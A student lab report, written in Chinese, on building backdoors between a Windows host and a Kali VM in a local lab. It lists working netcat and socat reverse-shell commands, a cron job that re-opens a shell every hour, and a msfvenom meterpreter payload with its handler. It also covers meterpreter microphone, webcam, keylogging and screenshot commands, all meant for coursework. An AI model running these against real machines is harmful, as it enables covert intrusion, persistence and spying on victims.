Exp2-后门原理与实践
一、实践目标
- 使用netcat实现win,kali间的后门连接
- 使用socat实现win,kali间的后门连接
- meterpreter的应用
二、基础知识问答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
误下载带有安全隐患的应用程序或者文件
未及时更新漏洞补丁
使用带有问题的U盘
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win: 添加至任务计划程序,开机自启动,与其他程序绑定运行,通过注册表启动。
Linux:定时启动,与其他程序绑定后运行,脚本运行。
(3)Meterpreter有哪些给你映像深刻的功能?
屏幕截图,获取击键记录,获取音频,打开摄像头,提权,进程迁移,安装Meterpreter到主机。
(4)如何发现自己有系统有没有被安装后门?
杀毒软件(火绒等)反馈
观察自启动项
观察任务管理器内的进程
观察任务计划程序
观察端口
特征码扫描
观察到自己的摄像头时不时闪一下
三、实验过程
在主机上用ipconfig查看Windows10主机IP
主机IP为192.168.123.54
在Kali虚拟机中用sudo ifconfig查看Kali虚拟机IP
Kali虚拟机IP为192.168.123.109
Ⅰ 使用netcat获取主机操作Shell,启动cron
1.Windows获取Kali虚拟机的shell
①在ncat.exe目录下打开cmd监听本机的11204端口
ncat.exe -l -p 11204
②kali反弹连接Windows
nc 192.168.123.54 11204 -e /bin/sh
③Windows返回kali的shell
ls
whoami
hostname
2.Kali虚拟机获取Windows的shell
①获取Kali虚拟机的IP地址
②Kali中开启监听
ncat -l -p 11204
③Windows反弹连接
ncat.exe -e cmd.exe 192.168.123.109 11204
④Kali虚拟机返回Windows的shell
dir
3.cron启动
①Kali中执行crontab -e指令
②设置自启动时间
15 * * * * /bin/netcat 192.168.123.54 11204 -e /bin/sh
则当主机时间为15分时(每小时的15分),若存在一台ip地址为 192.168.31.63 的主机正在监听11204端口,该主机便可以获取到Kali的Shell。
③Windows主机在指定时间监听
Ⅱ 使用socat获取主机操作Shell, 任务计划启动
1.Windows获取kali虚拟机的shell
①Kali开放11204端口
socat tcp-listen:11204 system:bash,pty,stderr
②Windows连接Kali虚拟机,验证shell功能
socat - tcp:192.168.123.109:11204
ls
2.Kali虚拟机获得Windows的shell
①Windows开放11204端口
socat tcp-listen:11204 exec:cmd,pty,stderr
②Kali虚拟机连接Windows
socat - tcp:192.168.123.54:11204
③验证shell
dir
Ⅲ 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
1.生成可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.109 LPORT=11204 -f exe > shell.exe
2.利用ncat传送到主机并运行获取主机Shell
①在Windows的cmd下开始监听11204端口
ncat.exe -l 11204 > shell.exe
②Kali虚拟机传送shell.exe
nc 192.168.123.54 11204 < shell.exe
③msf打开监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.123.109
set LPORT 11204
可以通过show options查看是否修改正确,IP地址与端口号必须与shell.exe中相一致
④在Windows中打开shell.exe
⑤获取主机shel
exploit
dir
Ⅳ 使用MSF meterpreter获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频
在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)
2.获取目标主机摄像头
输入webcam_snap指令控制摄像头进行拍照
3.获取击键记录
输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)
4.截取主机屏幕
screenshot